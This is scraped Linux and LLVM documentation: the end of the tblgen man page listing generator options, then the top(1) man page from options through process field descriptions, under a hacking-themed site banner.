Generate arm_sve_builtins.inc for Clang.

-gen-arm-sve-builtin-codegen
Generate arm_sve_builtin_cg_map.inc for Clang.

-gen-arm-sve-typeflags
Generate arm_sve_typeflags.inc for Clang.

-gen-arm-sve-sema-rangechecks
Generate arm_sve_sema_rangechecks.inc for Clang.

-gen-arm-mve-header
Generate arm_mve.h for Clang.

-gen-arm-mve-builtin-def
Generate ARM MVE builtin definitions for Clang.

-gen-arm-mve-builtin-sema
Generate ARM MVE builtin sema checks for Clang.

-gen-arm-mve-builtin-codegen
Generate ARM MVE builtin code-generator for Clang.

-gen-arm-mve-builtin-aliases
Generate list of valid ARM MVE builtin aliases for Clang.

-gen-arm-cde-header
Generate arm_cde.h for Clang.

-gen-arm-cde-builtin-def
Generate ARM CDE builtin definitions for Clang.

-gen-arm-cde-builtin-sema
Generate ARM CDE builtin sema checks for Clang.

-gen-arm-cde-builtin-codegen
Generate ARM CDE builtin code-generator for Clang.

-gen-arm-cde-builtin-aliases
Generate list of valid ARM CDE builtin aliases for Clang.

-gen-riscv-vector-header
Generate riscv_vector.h for Clang.

-gen-riscv-vector-builtins
Generate riscv_vector_builtins.inc for Clang.

-gen-riscv-vector-builtin-codegen
Generate riscv_vector_builtin_cg.inc for Clang.

-gen-attr-docs
Generate attribute documentation.

-gen-diag-docs
Generate diagnostic documentation.

-gen-opt-docs
Generate option documentation.

-gen-clang-data-collectors
Generate data collectors for AST nodes.

-gen-clang-test-pragma-attribute-supported-attributes
Generate a list of attributes supported by #pragma Clang attribute for testing purposes.

lldb-tblgen Options

gen-lldb-option-defs
Generate lldb OptionDefinition values.

gen-lldb-property-defs
Generate lldb PropertyDefinition values.

gen-lldb-property-enum-defs
Generate lldb PropertyDefinition enum values.

llvm-tblgen Options

-gen-asm-matcher
Generate assembly instruction matcher.

-match-prefix=prefix
Make -gen-asm-matcher match only instructions with the given prefix.

-gen-asm-parser
Generate assembly instruction parser.

-asmparsernum=n
Make -gen-asm-parser emit assembly parser number n.

-gen-asm-writer
Generate assembly writer.

-asmwriternum=n
Make -gen-asm-writer emit assembly writer number n.

-gen-attrs
Generate attributes.

-gen-automata
Generate generic automata.

-gen-callingconv
Generate calling convention descriptions.

-gen-compress-inst-emitter
Generate RISC-V compressed instructions.

-gen-ctags
Generate ctags-compatible index.

-gen-dag-isel
Generate a DAG (directed acyclic graph) instruction selector.

-instrument-coverage
Make -gen-dag-isel generate tables to help identify the patterns matched.

-omit-comments
Make -gen-dag-isel omit comments. The default is false.

-gen-dfa-packetizer
Generate DFA Packetizer for VLIW targets.

-gen-directive-decl
Generate directive related declaration code (header file).

-gen-directive-gen
Generate directive related implementation code part.

-gen-directive-impl
Generate directive related implementation code.

-gen-disassembler
Generate disassembler.

-gen-emitter
Generate machine code emitter.

-gen-exegesis
Generate llvm-exegesis tables.

-gen-fast-isel
Generate a “fast” instruction selector.

-gen-global-isel
Generate GlobalISel selector.

-gisel-coverage-file=filename
Specify the file from which to retrieve coverage information.

-instrument-gisel-coverage
Make -gen-global-isel generate coverage instrumentation.

-optimize-match-table
Make -gen-global-isel generate an optimized version of the match table.

-warn-on-skipped-patterns
Make -gen-global-isel explain why a pattern was skipped for inclusion.

-gen-global-isel-combiner
Generate GlobalISel combiner.

-combiners=list
Make -gen-global-isel-combiner emit the specified combiners.

-gicombiner-show-expansions
Make -gen-global-isel-combiner use C++ comments to indicate occurrences of code expansion.

-gicombiner-stop-after-build
Make -gen-global-isel-combiner stop processing after building the match tree.

-gicombiner-stop-after-parse
Make -gen-global-isel-combiner stop processing after parsing rules and dump state.

-gen-instr-info
Generate instruction descriptions.

-gen-instr-docs
Generate instruction documentation.

-gen-intrinsic-enums
Generate intrinsic enums.

-intrinsic-prefix=prefix
Make -gen-intrinsic-enums generate intrinsics with this target prefix.

-gen-intrinsic-impl
Generate intrinsic information.

-gen-opt-parser-defs
Generate options definitions.

-gen-opt-rst
Generate option RST.

-gen-pseudo-lowering
Generate pseudo instruction lowering.

-gen-register-bank
Generate register bank descriptions.

-gen-register-info
Generate registers and register classes info.

-register-info-debug
Make -gen-register-info dump register information for debugging.

-gen-searchable-tables
Generate generic searchable tables. See TableGen BackEnds for a detailed description.

-gen-subtarget
Generate subtarget enumerations.

-gen-x86-EVEX2VEX-tables
Generate X86 EVEX to VEX compress tables.

-gen-x86-fold-tables
Generate X86 fold tables.

-long-string-literals
When emitting large string tables, prefer string literals over comma-separated char literals. This can be a readability and compile-time performance win, but upsets some compilers.

-print-enums
Print enumeration values for a class.

-class=classname
Make -print-enums print the enumeration list for the specified class.

-print-sets
Print expanded sets for testing DAG exprs.

mlir-tblgen Options

-gen-avail-interface-decls
Generate availability interface declarations.

-gen-avail-interface-defs
Generate op interface definitions.

-gen-dialect-doc
Generate dialect documentation.

-dialect
The dialect to generate.

-gen-directive-decl
Generate declarations for directives (OpenMP, etc.).

-gen-enum-decls
Generate enum utility declarations.

-gen-enum-defs
Generate enum utility definitions.

-gen-enum-from-llvmir-conversions
Generate conversions of EnumAttrs from LLVM IR.

-gen-enum-to-llvmir-conversions
Generate conversions of EnumAttrs to LLVM IR.

-gen-llvmir-conversions
Generate LLVM IR conversions.

-gen-llvmir-intrinsics
Generate LLVM IR intrinsics.

-llvmir-intrinsics-filter
Only keep the intrinsics with the specified substring in their record name.

-dialect-opclass-base
The base class for the ops in the dialect we are to emit.

-gen-op-decls
Generate operation declarations.

-gen-op-defs
Generate operation definitions.

-asmformat-error-is-fatal
Emit a fatal error if format parsing fails.

-op-exclude-regex
Regular expression of name of ops to exclude (no filter if empty).

-op-include-regex
Regular expression of name of ops to include (no filter if empty).

-gen-op-doc
Generate operation documentation.

-gen-pass-decls
Generate operation documentation.

-name namestring
The name of this group of passes.

-gen-pass-doc
Generate pass documentation.

-gen-rewriters
Generate pattern rewriters.

-gen-spirv-avail-impls
Generate SPIR-V operation utility definitions.

-gen-spirv-capability-implication
Generate utility function to return implied capabilities for a given capability.

-gen-spirv-enum-avail-decls
Generate SPIR-V enum availability declarations.

-gen-spirv-enum-avail-defs
Generate SPIR-V enum availability definitions.

-gen-spirv-op-utils
Generate SPIR-V operation utility definitions.

-gen-spirv-serialization
Generate SPIR-V (de)serialization utilities and functions.

-gen-struct-attr-decls
Generate struct utility declarations.

-gen-struct-attr-defs
Generate struct utility definitions.

-gen-typedef-decls
Generate TypeDef declarations.

-gen-typedef-defs
Generate TypeDef definitions.

-typedefs-dialect name
Generate types for this dialect.

EXIT STATUS

If *-tblgen succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1062 - Linux cli command top

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command top and provides detailed information about the command top, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the top.

.ds Em – .ds We top .ds F Off .ds WX 512 .ds WF approximately 250 .ds Xa see

NAME 🖥️ top 🖥️

display Linux processes

SYNOPSIS

top [options]

DESCRIPTION

The top program provides a dynamic real-time view of a running system. It can display system summary information as well as a list of processes or threads currently being managed by the Linux kernel. The types of system summary information shown and the types, order and size of information displayed for processes are all user configurable and that configuration can be made persistent across restarts.

The program provides a limited interactive interface for process manipulation as well as a much more extensive interface for personal configuration encompassing every aspect of its operation. And while top is referred to throughout this document, you are free to name the program anything you wish. That new name, possibly an alias, will then be reflected on ’s display and used when reading and writing a configuration file.

OVERVIEW

Documentation

The remaining Table of Contents

    OVERVIEW
       Operation
       Linux Memory Types
    1. COMMAND-LINE Options
    2. SUMMARY Display
       a. UPTIME and LOAD Averages
       b. TASK and CPU States
       c. MEMORY Usage
    3. FIELDS / Columns Display
       a. DESCRIPTIONS of Fields
       b. MANAGING Fields
    4. INTERACTIVE Commands
       a. GLOBAL Commands
       b. SUMMARY AREA Commands
       c. TASK AREA Commands
          1. Appearance
          2. Content
          3. Size
          4. Sorting
       d. COLOR Mapping
    5. ALTERNATE-DISPLAY Provisions
       a. WINDOWS Overview
       b. COMMANDS for Windows
       c. SCROLLING a Window
       d. SEARCHING in a Window
       e. FILTERING in a Window
    6. FILES
       a. PERSONAL Configuration File
       b. ADDING INSPECT Entries
       c. SYSTEM Configuration File
       d. SYSTEM Restrictions File
    7. ENVIRONMENT VARIABLE(S)
    8. STUPID TRICKS Sampler
       a. Kernel Magic
       b. Bouncing Windows
       c. The Big Bird Window
       d. The Ol' Switcheroo
    9. BUGS, 10. SEE Also

Operation

When operating , the two most important keys are the help (h or ?) key and quit (`q’) key. Alternatively, you could simply use the traditional interrupt key (^C) when you’re done.

When started for the first time, you’ll be presented with these traditional elements on the main screen: 1) Summary Area; 2) Fields/Columns Header; 3) Task Area. Each of these will be explored in the sections that follow. There is also an Input/Message line between the Summary Area and Columns Header which needs no further explanation.

The main screen is generally quite adaptive to changes in terminal dimensions under X-Windows. Other screens may be less so, especially those with static text. It ultimately depends, however, on your particular window manager and terminal emulator. There may be occasions when their view of terminal size and current contents differs from ’s view, which is always based on operating system calls.

Following any re-size operation, if a screen is corrupted, appears incomplete or disordered, simply typing something innocuous like a punctuation character or cursor motion key will usually restore it. In extreme cases, the following sequence almost certainly will:

       key/cmd  objective 
       ^Z       suspend 
       fg       resume 
       <Left>   force a screen redraw (if necessary)

But if the display is still corrupted, there is one more step you could try. Insert this command after has been suspended but before resuming it.

       key/cmd  objective 
       reset    restore your terminal settings

Note: the width of ’s display will be limited to positions. Displaying all fields requires characters. Remaining screen width is usually allocated to any variable width columns currently visible. The variable width columns, such as COMMAND, are noted in topic 3a. DESCRIPTIONS of Fields. Actual output width may also be influenced by the -w switch, which is discussed in topic 1. COMMAND-LINE Options.

Lastly, some of ’s screens or functions require the use of cursor motion keys like the standard arrow keys plus the Home, End, PgUp and PgDn keys. If your terminal or emulator does not provide those keys, the following combinations are accepted as alternatives:

       key      equivalent-keys 
       Left     alt + h 
       Down     alt + j 
       Up       alt + k 
       Right    alt + l 
       Home     alt + ctrl + h 
       PgDn     alt + ctrl + j 
       PgUp     alt + ctrl + k 
       End      alt + ctrl + l 

The Up and Down arrow keys have special significance when prompted for line input terminated with the <Enter> key. Those keys, or their aliases, can be used to retrieve previous input lines which can then be edited and re-input. And there are four additional keys available with line oriented input.

       key      special-significance 
       Up       recall older strings for re-editing
       Down     recall newer strings or erase entire line
       Insert   toggle between insert and overtype modes
       Delete   character removed at cursor, moving others left
       Home     jump to beginning of input line
       End      jump to end of input line

Linux Memory Types

For our purposes there are three types of memory, and one is optional. First is physical memory, a limited resource where code and data must reside when executed or referenced. Next is the optional swap file, where modified (dirty) memory can be saved and later retrieved if too many demands are made on physical memory. Lastly we have virtual memory, a nearly unlimited resource serving the following goals:

   1. abstraction, free from physical memory addresses/limits
   2. isolation, every process in a separate address space
   3. sharing, a single mapping can serve multiple needs
   4. flexibility, assign a virtual address to a file

Regardless of which of these forms memory may take, all are managed as pages (typically 4096 bytes) but expressed by default in as KiB (kibibyte). The memory discussed under topic `2c. MEMORY Usage’ deals with physical memory and the swap file for the system as a whole. The memory reviewed in topic `3. FIELDS / Columns Display’ embraces all three memory types, but for individual processes.

For each such process, every memory page is restricted to a single quadrant from the table below. Both physical memory and virtual memory can include any of the four, while the swap file only includes #1 through #3. The memory in quadrant #4, when modified, acts as its own dedicated swap file.

                              Private | Shared
                          1           |          2
     Anonymous  . stack               |
                . malloc()            |
                . brk()/sbrk()        | . POSIX shm*
                . mmap(PRIVATE, ANON) | . mmap(SHARED, ANON)
               -----------------------+----------------------
                . mmap(PRIVATE, fd)   | . mmap(SHARED, fd)
   File-backed  . pgms/shared libs    |
                          3           |          4

The following may help in interpreting process level memory values displayed as scalable columns and discussed under topic `3a. DESCRIPTIONS of Fields'.

   %MEM - simply RES divided by total physical memory
   CODE - the `pgms' portion of quadrant 3
   DATA - the entire quadrant 1 portion of VIRT plus all
          explicit mmap file-backed pages of quadrant 3
   RES  - anything occupying physical memory which, beginning with
          Linux-4.5, is the sum of the following three fields:
          RSan - quadrant 1 pages, which include any
                 former quadrant 3 pages if modified
          RSfd - quadrant 3 and quadrant 4 pages
          RSsh - quadrant 2 pages
   RSlk - subset of RES which cannot be swapped out (any quadrant)
   SHR  - subset of RES (excludes 1, includes all 2 & 4, some 3)
   SWAP - potentially any quadrant except 4
   USED - simply the sum of RES and SWAP
   VIRT - everything in-use and/or reserved (all quadrants)

Note: Even though program images and shared libraries are considered private to a process, they will be accounted for as shared (SHR) by the kernel.

1. COMMAND-LINE Options

Mandatory arguments to long options are mandatory for short options too.

Although not required, the equals sign can be used with either option form and whitespace before and/or after the `=’ is permitted.

-b, –batch
Starts in Batch mode, which could be useful for sending output from to other programs or to a file. In this mode, will not accept input and runs until the iterations limit you’ve set with the `-n’ command-line option or until killed.

-c, –cmdline-toggle
Starts with the last remembered `c’ state reversed. Thus, if was displaying command lines, now that field will show program names, and vice versa. See the `c’ interactive command for additional information.

-d, –delay = SECS [.TENTHS]
Specifies the delay between screen updates, and overrides the corresponding value in one’s personal configuration file or the startup default. Later this can be changed with the `d’ or `s’ interactive commands.

Fractional seconds are honored, but a negative number is not allowed. In all cases, however, such changes are prohibited if is running in Secure mode, except for root (unless the `s’ command-line option was used). For additional information on Secure mode see topic 6d. SYSTEM Restrictions File.

-E, –scale-summary-mem = k | m | g | t | p | e
Instructs to force summary area memory to be scaled as:

   k - kibibytes
   m - mebibytes
   g - gibibytes
   t - tebibytes
   p - pebibytes
   e - exbibytes

Later this can be changed with the `E’ command toggle.

-e, –scale-task-mem = k | m | g | t | p
Instructs to force task area memory to be scaled as:

   k - kibibytes
   m - mebibytes
   g - gibibytes
   t - tebibytes
   p - pebibytes

Later this can be changed with the `e’ command toggle.

-H, –threads-show
Instructs to display individual threads. Without this command-line option a summation of all threads in each process is shown. Later this can be changed with the `H’ interactive command.

-h, –help
Display usage help text, then quit.

-i, –idle-toggle
Starts with the last remembered `i’ state reversed. When this toggle is , tasks that have not used any CPU since the last update will not be displayed. For additional information regarding this toggle see topic 4c. TASK AREA Commands, SIZE.

-n, –iterations = NUMBER
Specifies the maximum number of iterations, or frames, should produce before ending.

-O, –list-fields
This option acts as a form of help for the -o option shown below. It will cause to print each of the available field names on a separate line, then quit. Such names are subject to NLS (National Language Support) translation.

-o, –sort-override = FIELDNAME
Specifies the name of the field on which tasks will be sorted, independent of what is reflected in the configuration file. You can prepend a `+’ or `-’ to the field name to also override the sort direction. A leading `+’ will force sorting high to low, whereas a `-’ will ensure a low to high ordering.

This option exists primarily to support automated/scripted batch mode operation.

-p, –pid = PIDLIST (as: 1,2,3, … or -p1 -p2 -p3 …)
Monitor only processes with specified process IDs. However, when combined with Threads mode (`H’), all processes in the thread group ( TGID) of each monitored PID will also be shown.

This option can be given up to 20 times, or you can provide a comma delimited list with up to 20 pids. Co-mingling both approaches is permitted.

A pid value of zero will be treated as the process id of the program itself once it is running.

This is a command-line option only and should you wish to return to normal operation, it is not necessary to quit and restart just issue any of these interactive commands: `=’, `u’ or `U'.

The `p’, `u’ and `U’ command-line options are mutually exclusive.

-S, –accum-time-toggle
Starts with the last remembered `S’ state reversed. When Cumulative time mode is On, each process is listed with the cpu time that it and its dead children have used. See the `S’ interactive command for additional information regarding this mode.

-s, –secure-mode
Starts with secure mode forced, even for root. This mode is far better controlled through a system configuration file (see topic 6. FILES).

-U, –filter-any-user = USER (as: number or name)
Display only processes with a user id or user name matching that given. This option matches on any user (real, effective, saved, or filesystem).

Prepending an exclamation point (`!’) to the user id or name instructs to display only processes with users not matching the one provided.

The `p’, `U’ and `u’ command-line options are mutually exclusive.

-u, –filter-only-euser = USER (as: number or name)
Display only processes with a user id or user name matching that given. This option matches on the effective user id only.

Prepending an exclamation point (`!’) to the user id or name instructs to display only processes with users not matching the one provided.

The `p’, `U’ and `u’ command-line options are mutually exclusive.

-V, –version
Display version information, then quit.

-w, –width [=COLUMNS]
In Batch mode, when used without an argument will format output using the COLUMNS= and LINES= environment variables, if set. Otherwise, width will be fixed at the maximum columns. With an argument, output width can be decreased or increased (up to ) but the number of rows is considered unlimited.

In normal display mode, when used without an argument will attempt to format output using the COLUMNS= and LINES= environment variables, if set. With an argument, output width can only be decreased, not increased. Whether using environment variables or an argument with -w, when not in Batch mode actual terminal dimensions can never be exceeded.

Note: Without the use of this command-line option, output width is always based on the terminal at which was invoked whether or not in Batch mode.

-1, –single-cpu-toggle
Starts with the last remembered Cpu States portion of the summary area reversed. Either all cpu information will be displayed in a single line or each cpu will be displayed separately, depending on the state of the NUMA Node command toggle (`2’).

See the `1’ and `2’ interactive commands for additional information.

2. SUMMARY Display

Each of the following three areas are individually controlled through one or more interactive commands. See topic 4b. SUMMARY AREA Commands for additional information regarding these provisions.

2a. UPTIME and LOAD Averages

This portion consists of a single line containing:

    program or window name, depending on display mode
    current time and length of time since last boot
    total number of users
    system load avg over the last 1, 5 and 15 minutes

2b. TASK and CPU States

This portion consists of a minimum of two lines. In an SMP environment, additional lines can reflect individual CPU state percentages.

Line 1 shows total tasks or threads, depending on the state of the Threads-mode toggle. That total is further classified as:

    running; sleeping; stopped; zombie

Line 2 shows CPU state percentages based on the interval since the last refresh.

As a default, percentages for these individual categories are displayed. Depending on your kernel version, the st field may not be shown.

    us : time running un-niced user processes
    sy : time running kernel processes
    ni : time running niced user processes
    id : time spent in the kernel idle handler
    wa : time waiting for I/O completion
    hi : time spent servicing hardware interrupts
    si : time spent servicing software interrupts
    st : time stolen from this vm by the hypervisor

The `sy’ value above also reflects the time running a virtual cpu for guest operating systems, including those that have been niced.

Beyond the first tasks/threads line, there are alternate CPU display modes available via the 4-way `t’ command toggle. They show an abbreviated summary consisting of these elements:

               a    b     c    d
    %Cpu(s):  75.0/25.0  100[ ... ]

Where: a) is the `user’ (us + ni) percentage; b) is the `system’ (sy + hi + si + guests) percentage; c) is the total percentage; and d) is one of two visual graphs of those representations. Such graphs also reflect separate `user’ and `system’ portions.

If the `4’ command toggle is used to yield more than two cpus per line, results will be further abridged eliminating the a) and b) elements. However, that information is still reflected in the graph itself assuming color is active or, if not, bars vs. blocks are being shown.

See topic 4b. SUMMARY AREA Commands for additional information on the `t’ and `4’ command toggles.

2c. MEMORY Usage

This portion consists of two lines which may express values in kibibytes (KiB) through exbibytes (EiB) depending on the scaling factor enforced with the `E’ interactive command. The /proc/meminfo source fields are shown in parenthesis.

Line 1 reflects physical memory, classified as:

    total          ( MemTotal )
    free           ( MemFree )
    used           ( MemTotal - MemAvailable )
    buff/cache     ( Buffers + Cached + SReclaimable )

Line 2 reflects mostly virtual memory, classified as:

    total          ( SwapTotal )
    free           ( SwapFree )
    used           ( SwapTotal - SwapFree )
    avail          ( MemAvailable, which is physical memory )

The avail number on line 2 is an estimation of physical memory available for starting new applications, without swapping. Unlike the free field, it attempts to account for readily reclaimable page cache and memory slabs. It is available on kernels 3.14, emulated on kernels 2.6.27+, otherwise the same as free.

In the alternate memory display modes, two abbreviated summary lines are shown consisting of these elements:

               a    b          c
    GiB Mem : 18.7/15.738   [ ... ]
    GiB Swap:  0.0/7.999    [ ... ]

Where: a) is the percentage used; b) is the total available; and c) is one of two visual graphs of those representations.

In the case of physical memory, the percentage represents the total minus the estimated avail noted above. The `Mem’ graph itself is divided between the non-cached portion of used and any remaining memory not otherwise accounted for by avail. See topic 4b. SUMMARY AREA Commands and the `m’ command for additional information on that special 4-way toggle.

This table may help in interpreting the scaled values displayed:

    KiB = kibibyte = 1024 bytes
    MiB = mebibyte = 1024 KiB = 1,048,576 bytes
    GiB = gibibyte = 1024 MiB = 1,073,741,824 bytes
    TiB = tebibyte = 1024 GiB = 1,099,511,627,776 bytes
    PiB = pebibyte = 1024 TiB = 1,125,899,906,842,624 bytes
    EiB = exbibyte = 1024 PiB = 1,152,921,504,606,846,976 bytes

3. FIELDS / Columns

3a. DESCRIPTIONS of Fields

Listed below are ’s available process fields (columns). They are shown in strict ascii alphabetical order. You may customize their position and whether or not they are displayable with the `f’ (Fields Management) interactive command.

Any field is selectable as the sort field, and you control whether they are sorted high-to-low or low-to-high. For additional information on sort provisions see topic 4c. TASK AREA Commands, SORTING.

The fields related to physical memory or virtual memory reference `(KiB)’ which is the unsuffixed display mode. Such fields may, however, be scaled from KiB through PiB. That scaling is influenced via the `e’ interactive command or established for startup through a build option.

%CPU CPU Usage
The task’s share of the elapsed CPU time since the last screen update, expressed as a percentage of total CPU time.

In a true SMP environment, if a process is multi-threaded and is not operating in Threads mode, amounts greater than 100% may be reported. You toggle Threads mode with the `H’ interactive command.

Also for multi-processor environments, if Irix mode is , will operate in Solaris mode where a task’s cpu usage will be divided by the total number of CPUs. You toggle Irix/Solaris modes with the `I’ interactive command.

Note: When running in forest view mode (`V’) with children collapsed (`v’), this field will also include the CPU time of those unseen children. See topic 4c. TASK AREA Commands, CONTENT for more information regarding the `V’ and `v’ toggles.

%CUC CPU Utilization
This field is identical to %CUU below, except the percentage also reflects reaped child processes.

%CUU CPU Utilization
A task’s total CPU usage divided by its elapsed running time, expressed as a percentage.

If a process currently displays high CPU usage, this field can help determine if such behavior is normal. Conversely, if a process has low CPU usage currently, %CUU may reflect historically higher demands over its lifetime.

%MEM Memory Usage (RES)
A task’s currently resident share of available physical memory.

See `OVERVIEW, Linux Memory Types’ for additional details.

AGID Autogroup Identifier
The autogroup identifier associated with a process. This feature operates in conjunction with the CFS scheduler to improve interactive desktop performance.

When /proc/sys/kernel/sched_autogroup_enabled is set, a new autogroup is created with each new session ( SID). All subsequently forked processes in that session inherit membership in this autogroup. The kernel then attempts to equalize distribution of CPU cycles across such groups. Thus, an autogroup with many CPU intensive processes (e.g make -j) will not dominate an autogroup with only one or two processes.

When -1 is displayed it means this information is not available.

AGNI Autogroup Nice Value
The autogroup nice value which affects scheduling of all processes in that group. A negative nice value means higher priority, whereas a positive nice value means lower priority.

CGNAME Control Group Name
The name of the control group to which a process belongs, or `-’ if not applicable for that process.

This will typically be the last entry in the full list of control groups as shown under the next heading (CGROUPS). And as is true there, this field is also variable width.

CGROUPS Control Groups
The names of the control group(s) to which a process belongs, or `-’ if not applicable for that process.

Control Groups provide for allocating resources (cpu, memory, network bandwidth, etc.) among installation-defined groups of processes. They enable fine-grained control over allocating, denying, prioritizing, managing and monitoring those resources.

Many different hierarchies of cgroups can exist simultaneously on a system and each hierarchy is attached to one or more subsystems. A subsystem represents a single resource.

Note: The CGROUPS field, unlike most columns, is not fixed-width. When displayed, it plus any other variable width columns will be allocated all remaining screen width (up to the maximum characters). Even so, such variable width fields could still suffer truncation. See topic 5c. SCROLLING a Window for additional information on accessing any truncated data.

CODE Code Size (KiB)
The amount of physical memory currently devoted to executable code, also known as the Text Resident Set size or TRS.

See `OVERVIEW, Linux Memory Types’ for additional details.

COMMAND Command Name or Command Line
Display the command line used to start a task or the name of the associated program. You toggle between command line and name with `c’, which is both a command-line option and an interactive command.

When you’ve chosen to display command lines, processes without a command line (like kernel threads) will be shown with only the program name in brackets, as in this example: [kthreadd]

This field may also be impacted by the forest view display mode. See the `V’ interactive command for additional information regarding that mode.

Note: The COMMAND field, unlike most columns, is not fixed-width. When displayed, it plus any other variable width columns will be allocated all remaining screen width (up to the maximum characters). Even so, such variable width fields could still suffer truncation. This is especially true for this field when command lines are being displayed (the `c’ interactive command.) See topic 5c. SCROLLING a Window for additional information on accessing any truncated data.

DATA Data + Stack Size (KiB)
The amount of private memory reserved by a process. It is also known as the Data Resident Set or DRS. Such memory may not yet be mapped to physical memory (RES) but will always be included in the virtual memory (VIRT) amount.

See `OVERVIEW, Linux Memory Types’ for additional details.

ELAPSED Elapsed Running Time
The length of time since a process was started. Thus, the most recently started task will display the smallest time interval.

The value will be expressed as `HH,MM’ (hours,minutes) but is subject to additional scaling if the interval becomes too great to fit column width. At that point it will be scaled to `DD+HH’ (days+hours) and possibly beyond.

ENVIRON Environment variables
Display all of the environment variables, if any, as seen by the respective processes. These variables will be displayed in their raw native order, not the sorted order you are accustomed to seeing with an unqualified `set'.

Note: The ENVIRON field, unlike most columns, is not fixed-width. When displayed, it plus any other variable width columns will be allocated all remaining screen width (up to the maximum characters). Even so, such variable width fields could still suffer truncation. This is especially true for this field. See topic 5c. SCROLLING a Window for additional information on accessing any truncated data.

EXE Executable Path
Where available, this is the full path to the executable, including the program name.

Note: The EXE field, unlike most columns, is not fixed-width. When displayed, it plus any other variable width columns will be allocated all remaining screen width (up to the maximum characters).

Flags Task Flags
This column represents the task’s current scheduling flags which are expressed in hexadecimal notation and with zeros suppressed. These flags are officially documented in <linux/sched.h>.

GID Group Id
The effective group ID.

GROUP Group Name
The effective group name.

LOGID Login User Id
The user ID used at login. When -1 is displayed it means this information is not available.

LXC Lxc Container Name
The name of the lxc container within which a task is running. If a process is not running inside a container, a dash (`-’) will be shown.

NI Nice Value
The nice value of the task. A negative nice value means higher priority, whereas a positive nice value means lower priority. Zero in this field simply means priority will not be adjusted in determining a task’s dispatch-ability.

Note: This value only affects scheduling priority relative to other processes in the same autogroup. See the `AGID’ and `AGNI’ fields for additional information on autogroups.

NU Last known NUMA node
A number representing the NUMA node associated with the last used processor (`P’). When -1 is displayed it means that NUMA information is not available.

See the `2’ and `3’ interactive commands for additional NUMA provisions affecting the summary area.

OOMa Out of Memory Adjustment Factor
The value, ranging from -1000 to +1000, added to the current out of memory score (OOMs) which is then used to determine which task to kill when memory is exhausted.

OOMs Out of Memory Score
The value, ranging from 0 to +1000, used to select task(s) to kill when memory is exhausted. Zero translates to `never kill’ whereas 1000 means `always kill'.

P Last used CPU (SMP)
A number representing the last used processor. In a true SMP environment this will likely change frequently since the kernel intentionally uses weak affinity. Also, the very act of running may break this weak affinity and cause more processes to change CPUs more often (because of the extra demand for cpu time).

PGRP Process Group Id
Every process is member of a unique process group which is used for distribution of signals and by terminals to arbitrate requests for their input and output. When a process is created (forked), it becomes a member of the process group of its parent. By convention, this value equals the process ID ( PID) of the first member of a process group, called the process group leader.

PID Process Id
The task’s unique process ID, which periodically wraps, though never restarting at zero. In kernel terms, it is a dispatchable entity defined by a task_struct.

This value may also be used as: a process group ID ( PGRP); a session ID for the session leader ( SID); a thread group ID for the thread group leader ( TGID); and a TTY process group ID for the process group leader ( TPGID).

PPID Parent Process Id
The process ID (pid) of a task’s parent.

PR Priority
The scheduling priority of the task. If you see `rt’ in this field, it means the task is running under real time scheduling priority.

Under linux, real time priority is somewhat misleading since traditionally the operating itself was not preemptible. And while the 2.6 kernel can be made mostly preemptible, it is not always so.

PSS Proportional Resident Memory, smaps (KiB)
The proportion of this task’s share of `RSS’ where each page is divided by the number of processes sharing it. It is also the sum of the `PSan’, `PSfd’ and `PSsh’ fields.

For example, if a process has 1000 resident pages alone and 1000 resident pages shared with another process, its `PSS’ would be 1500 (times page size).

Accessing smaps values is 10x more costly than other memory statistics and data for other users requires root privileges.

PSan Proportional Anonymous Memory, smaps (KiB)
PSfd Proportional File Memory, smaps (KiB)
PSsh Proportional Shmem Memory, smaps (KiB)

As was true for `PSS’ above (total proportional resident memory), these fields represent the proportion of this task’s share of each type of memory divided by the number of processes sharing it.

Accessing smaps values is 10x more costly than other memory statistics and data for other users requires root privileges.

RES Resident Memory Size (KiB)
A subset of the virtual address space (VIRT) representing the non-swapped physical memory a task is currently using. It is also the sum of the `RSan’, `RSfd’ and `RSsh’ fields.

It can include private anonymous pages, private pages mapped to files (including program images and shared libraries) plus shared anonymous pages. All such memory is backed by the swap file represented separately under SWAP.

Lastly, this field may also include shared file-backed pages which, when modified, act as a dedicated swap file and thus will never impact SWAP.

See `OVERVIEW, Linux Memory Types’ for additional details.

RSS Resident Memory, smaps (KiB)
Another, more precise view of process non-swapped physical memory. It is obtained from the `smaps_rollup’ file and is generally slightly larger than that shown for `RES'.

Accessing smaps values is 10x more costly than other memory statistics and data for other users requires root privileges.

RSan Resident Anonymous Memory Size (KiB)
A subset of resident memory (RES) representing private pages not mapped to a file.

RSfd Resident File-Backed Memory Size (KiB)
A subset of resident memory (RES) representing the implicitly shared pages supporting program images and shared libraries. It also includes explicit file mappings, both private and shared.

RSlk Resident Locked Memory Size (KiB)
A subset of resident memory (RES) which cannot be swapped out.

RSsh Resident Shared Memory Size (KiB)
A subset of resident memory (RES) representing the explicitly shared anonymous shm*/mmap pages.

RUID Real User Id
The real user ID.

RUSER Real User Name
The real user name.

S Process Status
The status of the task which can be one of: D = uninterruptible sleep I = idle R = running S = sleeping T = stopped by job control signal t = stopped by debugger during trace Z = zombie

Tasks shown as running should be more properly thought of as ready to run their task_struct is simply represented on the Linux run-queue. Even without a true SMP machine, you may see numerous tasks in this state depending on ’s delay interval and nice value.

